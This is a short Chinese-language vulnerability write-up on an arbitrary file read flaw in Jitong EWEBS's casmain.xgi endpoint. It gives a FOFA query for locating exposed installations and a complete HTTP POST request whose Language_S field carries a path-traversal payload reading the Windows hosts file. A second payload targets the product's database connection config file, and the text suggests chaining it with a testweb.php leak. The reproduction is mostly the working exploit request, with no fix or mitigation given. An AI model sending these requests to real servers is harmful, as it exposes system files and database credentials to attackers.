# 极通EWEBS casmain.xgi 任意文件读取漏洞

## 漏洞描述

极通EWEBS casmain.xgi 任意文件读取漏洞，攻击者通过漏洞可以读取任意文件

## 漏洞影响

> [!NOTE]
>
> 极通EWEBS

## FOFA

> [!NOTE]
>
> app="新软科技-极通EWEBS"

## 漏洞复现

登录页面如下

![image-20210615125923544](http://wikioss.peiqi.tech/vuln/image-20210615125923544.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

漏洞请求包为

```
POST /casmain.xgi HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=923b86fa90ce1e14c82d4e36d1adc528; CookieLanguageName=ZH-CN
Content-Length: 57

Language_S=../../../../windows/system32/drivers/etc/hosts
```

![image-20210615130137932](http://wikioss.peiqi.tech/vuln/image-20210615130137932.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

可以配合 testweb.php 信息泄露读取敏感信息

```
Language_S=../../Data/CONFIG/CasDbCnn.dat
```